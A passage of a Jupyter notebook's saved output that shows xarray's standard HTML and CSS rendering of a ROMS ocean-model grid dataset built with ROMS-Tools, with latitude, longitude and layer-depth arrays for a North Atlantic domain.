6px;\n", " padding-bottom: 6px;\n", " margin-bottom: 4px;\n", " border-bottom: solid 1px var(--xr-border-color);\n", "}\n", "\n", ".xr-header > div,\n", ".xr-header > ul {\n", " display: inline;\n", " margin-top: 0;\n", " margin-bottom: 0;\n", "}\n", "\n", ".xr-obj-type,\n", ".xr-array-name {\n", " margin-left: 2px;\n", " margin-right: 10px;\n", "}\n", "\n", ".xr-obj-type {\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-sections {\n", " padding-left: 0 !important;\n", " display: grid;\n", " grid-template-columns: 150px auto auto 1fr 0 20px 0 20px;\n", "}\n", "\n", ".xr-section-item {\n", " display: contents;\n", "}\n", "\n", ".xr-section-item input {\n", " display: inline-block;\n", " opacity: 0;\n", "}\n", "\n", ".xr-section-item input + label {\n", " color: var(--xr-disabled-color);\n", "}\n", "\n", ".xr-section-item input:enabled + label {\n", " cursor: pointer;\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-section-item input:focus + label {\n", " border: 2px solid var(--xr-font-color0);\n", "}\n", "\n", ".xr-section-item input:enabled + label:hover {\n", " color: var(--xr-font-color0);\n", "}\n", "\n", ".xr-section-summary {\n", " grid-column: 1;\n", " color: var(--xr-font-color2);\n", " font-weight: 500;\n", "}\n", "\n", ".xr-section-summary > span {\n", " display: inline-block;\n", " padding-left: 0.5em;\n", "}\n", "\n", ".xr-section-summary-in:disabled + label {\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-section-summary-in + label:before {\n", " display: inline-block;\n", " content: '►';\n", " font-size: 11px;\n", " width: 15px;\n", " text-align: center;\n", "}\n", "\n", ".xr-section-summary-in:disabled + label:before {\n", " color: var(--xr-disabled-color);\n", "}\n", "\n", ".xr-section-summary-in:checked + label:before {\n", " content: '▼';\n", "}\n", "\n", ".xr-section-summary-in:checked + label > span {\n", " display: none;\n", "}\n", "\n", ".xr-section-summary,\n", ".xr-section-inline-details {\n", " padding-top: 4px;\n", " padding-bottom: 4px;\n", "}\n", "\n", ".xr-section-inline-details {\n", " grid-column: 2 / -1;\n", "}\n", "\n", ".xr-section-details {\n", " display: none;\n", " grid-column: 1 / -1;\n", " margin-bottom: 5px;\n", "}\n", "\n", ".xr-section-summary-in:checked ~ .xr-section-details {\n", " display: contents;\n", "}\n", "\n", ".xr-array-wrap {\n", " grid-column: 1 / -1;\n", " display: grid;\n", " grid-template-columns: 20px auto;\n", "}\n", "\n", ".xr-array-wrap > label {\n", " grid-column: 1;\n", " vertical-align: top;\n", "}\n", "\n", ".xr-preview {\n", " color: var(--xr-font-color3);\n", "}\n", "\n", ".xr-array-preview,\n", ".xr-array-data {\n", " padding: 0 5px !important;\n", " grid-column: 2;\n", "}\n", "\n", ".xr-array-data,\n", ".xr-array-in:checked ~ .xr-array-preview {\n", " display: none;\n", "}\n", "\n", ".xr-array-in:checked ~ .xr-array-data,\n", ".xr-array-preview {\n", " display: inline-block;\n", "}\n", "\n", ".xr-dim-list {\n", " display: inline-block !important;\n", " list-style: none;\n", " padding: 0 !important;\n", " margin: 0;\n", "}\n", "\n", ".xr-dim-list li {\n", " display: inline-block;\n", " padding: 0;\n", " margin: 0;\n", "}\n", "\n", ".xr-dim-list:before {\n", " content: '(';\n", "}\n", "\n", ".xr-dim-list:after {\n", " content: ')';\n", "}\n", "\n", ".xr-dim-list li:not(:last-child):after {\n", " content: ',';\n", " padding-right: 5px;\n", "}\n", "\n", ".xr-has-index {\n", " font-weight: bold;\n", "}\n", "\n", ".xr-var-list,\n", ".xr-var-item {\n", " display: contents;\n", "}\n", "\n", ".xr-var-item > div,\n", ".xr-var-item label,\n", ".xr-var-item > .xr-var-name span {\n", " background-color: var(--xr-background-color-row-even);\n", " margin-bottom: 0;\n", "}\n", "\n", ".xr-var-item > .xr-var-name:hover span {\n", " padding-right: 5px;\n", "}\n", "\n", ".xr-var-list > li:nth-child(odd) > div,\n", ".xr-var-list > li:nth-child(odd) > label,\n", ".xr-var-list > li:nth-child(odd) > .xr-var-name span {\n", " background-color: var(--xr-background-color-row-odd);\n", "}\n", "\n", ".xr-var-name {\n", " grid-column: 1;\n", "}\n", "\n", ".xr-var-dims {\n", " grid-column: 2;\n", "}\n", "\n", ".xr-var-dtype {\n", " grid-column: 3;\n", " text-align: right;\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-var-preview {\n", " grid-column: 4;\n", "}\n", "\n", ".xr-index-preview {\n", " grid-column: 2 / 5;\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-var-name,\n", ".xr-var-dims,\n", ".xr-var-dtype,\n", ".xr-preview,\n", ".xr-attrs dt {\n", " white-space: nowrap;\n", " overflow: hidden;\n", " text-overflow: ellipsis;\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-var-name:hover,\n", ".xr-var-dims:hover,\n", ".xr-var-dtype:hover,\n", ".xr-attrs dt:hover {\n", " overflow: visible;\n", " width: auto;\n", " z-index: 1;\n", "}\n", "\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " display: none;\n", " background-color: var(--xr-background-color) !important;\n", " padding-bottom: 5px !important;\n", "}\n", "\n", ".xr-var-attrs-in:checked ~ .xr-var-attrs,\n", ".xr-var-data-in:checked ~ .xr-var-data,\n", ".xr-index-data-in:checked ~ .xr-index-data {\n", " display: block;\n", "}\n", "\n", ".xr-var-data > table {\n", " float: right;\n", "}\n", "\n", ".xr-var-name span,\n", ".xr-var-data,\n", ".xr-index-name div,\n", ".xr-index-data,\n", ".xr-attrs {\n", " padding-left: 25px !important;\n", "}\n", "\n", ".xr-attrs,\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " grid-column: 1 / -1;\n", "}\n", "\n", "dl.xr-attrs {\n", " padding: 0;\n", " margin: 0;\n", " display: grid;\n", " grid-template-columns: 125px auto;\n", "}\n", "\n", ".xr-attrs dt,\n", ".xr-attrs dd {\n", " padding: 0;\n", " margin: 0;\n", " float: left;\n", " padding-right: 10px;\n", " width: auto;\n", "}\n", "\n", ".xr-attrs dt {\n", " font-weight: normal;\n", " grid-column: 1;\n", "}\n", "\n", ".xr-attrs dt:hover span {\n", " display: inline-block;\n", " background: var(--xr-background-color);\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-attrs dd {\n", " grid-column: 2;\n", " white-space: pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 26MB\n", "Dimensions: (eta_rho: 102, xi_rho: 102, xi_u: 101, eta_v: 101,\n", " eta_coarse: 52, xi_coarse: 52, s_rho: 100, s_w: 101)\n", "Coordinates: (12/14)\n", " lat_rho (eta_rho, xi_rho) float64 83kB 47.84 47.91 ... 73.53\n", " lon_rho (eta_rho, xi_rho) float64 83kB 344.0 344.3 ... 4.207\n", " lat_u (eta_rho, xi_u) float64 82kB 47.87 47.94 ... 73.5 73.52\n", " lon_u (eta_rho, xi_u) float64 82kB 344.2 344.4 ... 3.925\n", " lat_v (eta_v, xi_rho) float64 82kB 47.94 48.0 ... 73.4 73.42\n", " lon_v (eta_v, xi_rho) float64 82kB 344.0 344.2 ... 4.247\n", " ... ...\n", " layer_depth_rho (s_rho, eta_rho, xi_rho) float32 4MB 4.733e+03 ... 1...\n", " layer_depth_u (s_rho, eta_rho, xi_u) float32 4MB 4.733e+03 ... 1.363\n", " layer_depth_v (s_rho, eta_v, xi_rho) float32 4MB 4.733e+03 ... 1.363\n", " interface_depth_rho (s_w, eta_rho, xi_rho) float32 4MB 4.771e+03 ... -0.0\n", " interface_depth_u (s_w, eta_rho, xi_u) float32 4MB 4.771e+03 ... -0.0\n", " interface_depth_v (s_w, eta_v, xi_rho) float32 4MB 4.771e+03 ... -0.0\n", "Dimensions without coordinates: eta_rho, xi_rho, xi_u, eta_v, eta_coarse,\n", " xi_coarse, s_rho, s_w\n", "Data variables: (12/13)\n", " angle (eta_rho, xi_rho) float64 83kB 0.4177 0.4177 ... 0.1146\n", " f (eta_rho, xi_rho) float64 83kB 0.0001078 ... 0.0001395\n", " pm (eta_rho, xi_rho) float64 83kB 4.209e-05 ... 4.209e-05\n", " pn (eta_rho, xi_rho) float64 83kB 5.592e-05 ... 5.592e-05\n", " spherical |S1 1B b&#x27;T&#x27;\n", " mask_rho (eta_rho, xi_rho) int32 42kB 1 1 1 1 1 1 ... 1 1 1 1 1\n", " ... ...\n", " mask_v (eta_v, xi_rho) int32 41kB 1 1 1 1 1 1 ... 1 1 1 1 1 1\n", " h (eta_rho, xi_rho) float64 83kB 4.771e+03 ... 2.524e+03\n", " angle_coarse (eta_coarse, xi_coarse) float64 22kB 0.4166 ... 0.1151\n", " mask_coarse (eta_coarse, xi_coarse) int32 11kB 1 1 1 1 ... 1 1 1 1\n", " Cs_r (s_rho) float32 400B -0.992 -0.9753 ... -9.874e-06\n", " Cs_w (s_w) float32 404B -1.0 -0.9837 ... -3.95e-05 0.0\n", "Attributes:\n", " title: ROMS grid created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " size_x: 1800\n", " size_y: 2400\n", " center_lon: -10\n", " center_lat: 61\n", " rot: 20\n", " topography_source: ETOPO5\n", " hmin: 5.0\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-3941ba38-3ad5-4a9c-9fd1-715d35d0c034' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-3941ba38-3ad5-4a9c-9fd1-715d35d0c034' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span>eta_rho</span>: 102</li><li><span>xi_rho</span>: 102</li><li><span>xi_u</span>: 101</li><li><span>eta_v</span>: 101</li><li><span>eta_coarse</span>: 52</li><li><span>xi_coarse</span>: 52</li><li><span>s_rho</span>: 100</li><li><span>s_w</span>: 101</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-58bd9eee-9860-4ae6-85a8-0fbe76d75505' class='xr-section-summary-in' type='checkbox' checked><label for='section-58bd9eee-9860-4ae6-85a8-0fbe76d75505' class='xr-section-summary' >Coordinates: <span>(14)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>lat_rho</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>47.84 47.91 47.97 ... 73.51 73.53</div><input id='attrs-c8fc8d6b-ff9a-4e63-967b-6035d982dbf6' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c8fc8d6b-ff9a-4e63-967b-6035d982dbf6' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7e2b22cd-815c-4837-9f1f-82a3c28125e2' class='xr-var-data-in' type='checkbox'><label for='data-7e2b22cd-815c-4837-9f1f-82a3c28125e2' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>latitude of rho-points</dd><dt><span>units :</span></dt><dd>degrees North</dd></dl></div><div class='xr-var-data'><pre>array([[47.84031566, 47.9057453 , 47.97078322, ..., 52.0092643 ,\n", " 52.02431623, 52.0387889 ],\n", " [48.03524232, 48.10099759, 48.16635924, ..., 52.22209352,\n", " 52.23713404, 52.25159089],\n", " [48.22997295, 48.29605649, 48.36174449, ..., 52.43492388,\n", " 52.4499535 , 52.46439498],\n", " ...,\n", " [65.4610125 , 65.57621587, 65.69097875, ..., 73.0668526 ,\n", " 73.08570045, 73.10307553],\n", " [65.60922481, 65.72514786, 65.84063377, ..., 73.27905285,\n", " 73.29804961, 73.31555407],\n", " [65.75643757, 65.87308413, 65.98929704, ..., 73.49122662,\n", " 73.51037728, 73.52801566]])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lon_rho</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>344.0 344.3 344.5 ... 3.644 4.207</div><input id='attrs-25716887-8fe3-424b-9834-3d2f09f7b78e' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-25716887-8fe3-424b-9834-3d2f09f7b78e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-349977e1-df30-4a5f-ae96-6fae08c9569e' class='xr-var-data-in' type='checkbox'><label for='data-349977e1-df30-4a5f-ae96-6fae08c9569e' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>longitude of rho-points</dd><dt><span>units :</span></dt><dd>degrees East</dd></dl></div><div class='xr-var-data'><pre>array([[344.04884153, 344.26781035, 344.48741857, ..., 8.21866206,\n", " 8.47888809, 8.73918309],\n", " [343.91834444, 344.1379243 , 344.35815193, ..., 8.18547184,\n", " 8.44694529, 8.70848921],\n", " [343.78670009, 344.00689428, 344.22774475, ..., 8.15214161,\n", " 8.41487805, 8.67768649],\n", " ...,\n", " [321.97925505, 322.24994367, 322.52314326, ..., 3.26381347,\n", " 3.81259463, 4.3623006 ],\n", " [321.60773442, 321.87816891, 322.15114401, ..., 3.17355175,\n", " 3.72903986, 4.28548868],\n", " [321.23177224, 321.50190756, 321.77461302, ..., 3.08142112,\n", " 3.64378808, 4.20715352]])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lat_u</span></div><div class='xr-var-dims'>(eta_rho, xi_u)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>47.87 47.94 48.0 ... 73.5 73.52</div><input id='attrs-c556fe0d-b633-4fe6-bffd-d516a17f0bb9' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c556fe0d-b633-4fe6-bffd-d516a17f0bb9' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-c99bafa8-8222-4002-a7d2-3857de827eb4' class='xr-var-data-in' type='checkbox'><label for='data-c99bafa8-8222-4002-a7d2-3857de827eb4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>latitude of u-points</dd><dt><span>units :</span></dt><dd>degrees North</dd></dl></div><div class='xr-var-data'><pre>array([[47.87309246, 47.93832655, 48.00316743, ..., 52.00153111,\n", " 52.01687262, 52.03163494],\n", " [48.06818198, 48.13374076, 48.19890439, ..., 52.21436416,\n", " 52.22969647, 52.24444518],\n", " [48.26307679, 48.32896287, 48.39445189, ..., 52.42719808,\n", " 52.44252172, 52.45725729],\n", " ...,\n", " [65.51866747, 65.63365146, 65.74819076, ..., 73.05686613,\n", " 73.07644921, 73.09456113],\n", " [65.66723914, 65.78294449, 65.89820848, ..., 73.26898444,\n", " 73.28872613, 73.3069772 ],\n", " [65.81481316, 65.93124376, 66.0472365 , ..., 73.48107358,\n", " 73.50097911, 73.51937412]])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lon_u</span></div><div class='xr-var-dims'>(eta_rho, xi_u)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>344.2 344.4 344.6 ... 3.362 3.925</div><input id='attrs-e41a3034-416b-44bb-bc79-35be93258924' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e41a3034-416b-44bb-bc79-35be93258924' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-792ed995-6e8b-4b53-8790-56a325cc028b' class='xr-var-data-in' type='checkbox'><label for='data-792ed995-6e8b-4b53-8790-56a325cc028b' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>longitude of u-points</dd><dt><span>units :</span></dt><dd>degrees East</dd></dl></div><div class='xr-var-data'><pre>array([[344.15825069, 344.37753929, 344.59746631, ..., 8.088563 ,\n", " 8.34875109, 8.60901248],\n", " [344.02805817, 344.24796199, 344.46851262, ..., 8.05474966,\n", " 8.31618436, 8.57769395],\n", " [343.89672001, 344.11724241, 344.33842015, ..., 8.02078853,\n", " 8.28348541, 8.54625876],\n", " ...,\n", " [322.11431882, 322.38625972, 322.66072392, ..., 2.98977641,\n", " 3.53805898, 4.08731341],\n", " [321.74266808, 322.01436956, 322.28862443, ..., 2.89617561,\n", " 3.45114583, 4.00712557],\n", " [321.36655329, 321.63797026, 321.9119706 , ..., 2.80062067,\n", " 3.36244946, 3.92532738]])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lat_v</span></div><div class='xr-var-dims'>(eta_v, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>47.94 48.0 48.07 ... 73.4 73.42</div><input id='attrs-5775a92f-df47-42ff-a6bb-d2943c092c4b' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-5775a92f-df47-42ff-a6bb-d2943c092c4b' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-bc616fd0-40c3-4815-aec2-dfca25cf421f' class='xr-var-data-in' type='checkbox'><label for='data-bc616fd0-40c3-4815-aec2-dfca25cf421f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>latitude of v-points</dd><dt><span>units :</span></dt><dd>degrees North</dd></dl></div><div class='xr-var-data'><pre>array([[47.93779704, 48.00338933, 48.06858895, ..., 52.11568016,\n", " 52.13072629, 52.14519097],\n", " [48.13262601, 48.19854525, 48.26406991, ..., 52.32850995,\n", " 52.34354493, 52.35799401],\n", " [48.3272576 , 48.39350642, 48.45935874, ..., 52.54134084,\n", " 52.55636517, 52.57079912],\n", " ...,\n", " [65.38652626, 65.50137151, 65.61577464, ..., 72.96074465,\n", " 72.97951978, 72.99683171],\n", " [65.53523147, 65.65079446, 65.7659186 , ..., 73.17295778,\n", " 73.19187937, 73.20931848],\n", " [65.68294618, 65.79923077, 65.91507995, ..., 73.38514494,\n", " 73.40421791, 73.42178865]])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lon_v</span></div><div class='xr-var-dims'>(eta_v, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>344.0 344.2 344.4 ... 3.687 4.247</div><input id='attrs-4789d916-4dba-4a28-9dde-1ab4e675eaa6' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-4789d916-4dba-4a28-9dde-1ab4e675eaa6' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-255e6cb7-fd97-4795-8fc7-41524c7c9340' class='xr-var-data-in' type='checkbox'><label for='data-255e6cb7-fd97-4795-8fc7-41524c7c9340' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>longitude of v-points</dd><dt><span>units :</span></dt><dd>degrees East</dd></dl></div><div class='xr-var-data'><pre>array([[343.9837146 , 344.20298888, 344.42290673, ..., 8.20210815,\n", " 8.46295646, 8.72387447],\n", " [343.85264575, 344.07253271, 344.29307168, ..., 8.16884834,\n", " 8.43095182, 8.69312653],\n", " [343.72042215, 343.94092507, 344.16208859, ..., 8.13544705,\n", " 8.3988214 , 8.66226853],\n", " ...,\n", " [322.16334008, 322.43413962, 322.7074353 , ..., 3.30831501,\n", " 3.85380631, 4.40020514],\n", " [321.79402115, 322.06458849, 322.33768166, ..., 3.21896217,\n", " 3.77107682, 4.32413401],\n", " [321.42028603, 321.69057692, 321.96342322, ..., 3.12777567,\n", " 3.68668245, 4.24656858]])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lat_coarse</span></div><div class='xr-var-dims'>(eta_coarse, xi_coarse)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>47.71 47.84 47.97 ... 73.61 73.64</div><input id='attrs-b5d554f1-67cc-4b94-b9bd-1ab0395c52ea' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-b5d554f1-67cc-4b94-b9bd-1ab0395c52ea' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-a88ae5f9-3404-41ec-af50-e45423f553a9' class='xr-var-data-in' type='checkbox'><label for='data-a88ae5f9-3404-41ec-af50-e45423f553a9' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>latitude of rho-points on coarsened grid</dd><dt><span>units :</span></dt><dd>degrees North</dd></dl></div><div class='xr-var-data'><pre>array([[47.71021893, 47.84055718, 47.96952033, ..., 51.87910951,\n", " 51.91037851, 51.93962819],\n", " [48.09964793, 48.23128945, 48.36154231, ..., 52.30478466,\n", " 52.33602623, 52.36521752],\n", " [48.48837934, 48.62134261, 48.7529037 , ..., 52.73046068,\n", " 52.76167866, 52.79081485],\n", " ...,\n", " [65.17967392, 65.40771481, 65.63417653, ..., 72.71766992,\n", " 72.75781887, 72.79292038],\n", " [65.47733705, 65.70824407, 65.9375941 , ..., 73.14161289,\n", " 73.18241388, 73.21803469],\n", " [65.7715398 , 66.00534047, 66.23760819, ..., 73.56543701,\n", " 73.60692731, 73.64309913]])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lon_coarse</span></div><div class='xr-var-dims'>(eta_coarse, xi_coarse)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>344.0 344.4 344.9 ... 3.318 4.451</div><input id='attrs-c3f9a33e-5d99-40a4-a972-26c96402615b' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c3f9a33e-5d99-40a4-a972-26c96402615b' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-4336c346-03bb-4341-ba53-7bdcb44566cd' class='xr-var-data-in' type='checkbox'><label for='data-4336c346-03bb-4341-ba53-7bdcb44566cd' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>longitude of rho-points on coarsened grid</dd><dt><span>units :</span></dt><dd>degrees East</dd></dl></div><div class='xr-var-data'><pre>array([[344.00475841, 344.44240263, 344.88226511, ..., 7.84601161,\n", " 8.36505833, 8.8843653 ],\n", " [343.74257875, 344.18267882, 344.62505612, ..., 7.77581398,\n", " 8.2998592 , 8.82417594],\n", " [343.47634033, 343.91891934, 344.36383625, ..., 7.70503636,\n", " 8.23419015, 8.76362715],\n", " ...,\n", " [322.39228813, 322.93548851, 323.48737965, ..., 2.58903726,\n", " 3.66516519, 4.7445752 ],\n", " [321.65821396, 322.20059996, 322.75188907, ..., 2.39260456,\n", " 3.49474993, 4.60043334],\n", " [320.90879829, 321.4500622 , 322.00044068, ..., 2.18893744,\n", " 3.31825899, 4.45139782]])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>layer_depth_rho</span></div><div class='xr-var-dims'>(s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>4.733e+03 4.733e+03 ... 1.363 1.363</div><input id='attrs-1406c0b0-f2ef-425b-af98-83a5cb3b94a2' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-1406c0b0-f2ef-425b-af98-83a5cb3b94a2' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-bf5cc7e9-929b-4bca-a46b-8355dc0ab0a6' class='xr-var-data-in' type='checkbox'><label for='data-bf5cc7e9-929b-4bca-a46b-8355dc0ab0a6' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Layer depth at rho-points</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>array([[[4.7333359e+03, 4.7333359e+03, 4.7480742e+03, ...,\n", " 4.9747515e+00, 4.9747515e+00, 4.9747515e+00],\n", " [4.7333359e+03, 4.7333359e+03, 4.7480742e+03, ...,\n", " 4.9747515e+00, 4.9747515e+00, 4.9747515e+00],\n", " [4.7344199e+03, 4.7344199e+03, 4.7478232e+03, ...,\n", " 4.9747515e+00, 4.9747515e+00, 4.9747515e+00],\n", " ...,\n", " [3.4779728e+01, 3.4779728e+01, 3.4461662e+01, ...,\n", " 2.4716787e+03, 2.4439265e+03, 2.4439265e+03],\n", " [2.4138781e+01, 2.4138781e+01, 2.3951511e+01, ...,\n", " 2.5381111e+03, 2.5045449e+03, 2.5045449e+03],\n", " [2.4138781e+01, 2.4138781e+01, 2.3951511e+01, ...,\n", " 2.5381111e+03, 2.5045449e+03, 2.5045449e+03]],\n", "\n", " [[4.6557490e+03, 4.6557490e+03, 4.6702402e+03, ...,\n", " 4.9242058e+00, 4.9242058e+00, 4.9242058e+00],\n", " [4.6557490e+03, 4.6557490e+03, 4.6702402e+03, ...,\n", " 4.9242058e+00, 4.9242058e+00, 4.9242058e+00],\n", " [4.6568149e+03, 4.6568149e+03, 4.6699937e+03, ...,\n", " 4.9242058e+00, 4.9242058e+00, 4.9242058e+00],\n", "...\n", " [4.7006017e-01, 4.7006017e-01, 4.6620244e-01, ...,\n", " 4.2139120e+00, 4.2065563e+00, 4.2065563e+00],\n", " [3.3690780e-01, 3.3690780e-01, 3.3448648e-01, ...,\n", " 4.2311330e+00, 4.2224984e+00, 4.2224984e+00],\n", " [3.3690780e-01, 3.3690780e-01, 3.3448648e-01, ...,\n", " 4.2311330e+00, 4.2224984e+00, 4.2224984e+00]],\n", "\n", " [[1.4555756e+00, 1.4555756e+00, 1.4559810e+00, ...,\n", " 2.4590973e-02, 2.4590973e-02, 2.4590973e-02],\n", " [1.4555756e+00, 1.4555756e+00, 1.4559810e+00, ...,\n", " 2.4590973e-02, 2.4590973e-02, 2.4590973e-02],\n", " [1.4556055e+00, 1.4556055e+00, 1.4559741e+00, ...,\n", " 2.4590973e-02, 2.4590973e-02, 2.4590973e-02],\n", " ...,\n", " [1.5661460e-01, 1.5661460e-01, 1.5532994e-01, ...,\n", " 1.3607109e+00, 1.3588053e+00, 1.3588053e+00],\n", " [1.1226672e-01, 1.1226672e-01, 1.1146016e-01, ...,\n", " 1.3651431e+00, 1.3629260e+00, 1.3629260e+00],\n", " [1.1226672e-01, 1.1226672e-01, 1.1146016e-01, ...,\n", " 1.3651431e+00, 1.3629260e+00, 1.3629260e+00]]], dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>layer_depth_u</span></div><div class='xr-var-dims'>(s_rho, eta_rho, xi_u)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>4.733e+03 4.741e+03 ... 1.364 1.363</div><input id='attrs-54f1079a-a379-488a-915a-878a1600e5d5' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-54f1079a-a379-488a-915a-878a1600e5d5' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-a32c1767-7e41-4f6f-ab2d-3939d51a8121' class='xr-var-data-in' type='checkbox'><label for='data-a32c1767-7e41-4f6f-ab2d-3939d51a8121' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Layer depth at u-points</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>array([[[4.73333594e+03, 4.74070508e+03, 4.75467773e+03, ...,\n", " 4.97475147e+00, 4.97475147e+00, 4.97475147e+00],\n", " [4.73333594e+03, 4.74070508e+03, 4.75467773e+03, ...,\n", " 4.97475147e+00, 4.97475147e+00, 4.97475147e+00],\n", " [4.73441992e+03, 4.74112158e+03, 4.75352881e+03, ...,\n", " 4.97475147e+00, 4.97475147e+00, 4.97475147e+00],\n", " ...,\n", " [3.47797279e+01, 3.46206932e+01, 3.39967918e+01, ...,\n", " 2.48884180e+03, 2.45780273e+03, 2.44392651e+03],\n", " [2.41387806e+01, 2.40451450e+01, 2.37496262e+01, ...,\n", " 2.55796484e+03, 2.52132788e+03, 2.50454492e+03],\n", " [2.41387806e+01, 2.40451450e+01, 2.37496262e+01, ...,\n", " 2.55796484e+03, 2.52132788e+03, 2.50454492e+03]],\n", "\n", " [[4.65574902e+03, 4.66299463e+03, 4.67673340e+03, ...,\n", " 4.92420578e+00, 4.92420578e+00, 4.92420578e+00],\n", " [4.65574902e+03, 4.66299463e+03, 4.67673340e+03, ...,\n", " 4.92420578e+00, 4.92420578e+00, 4.92420578e+00],\n", " [4.65681494e+03, 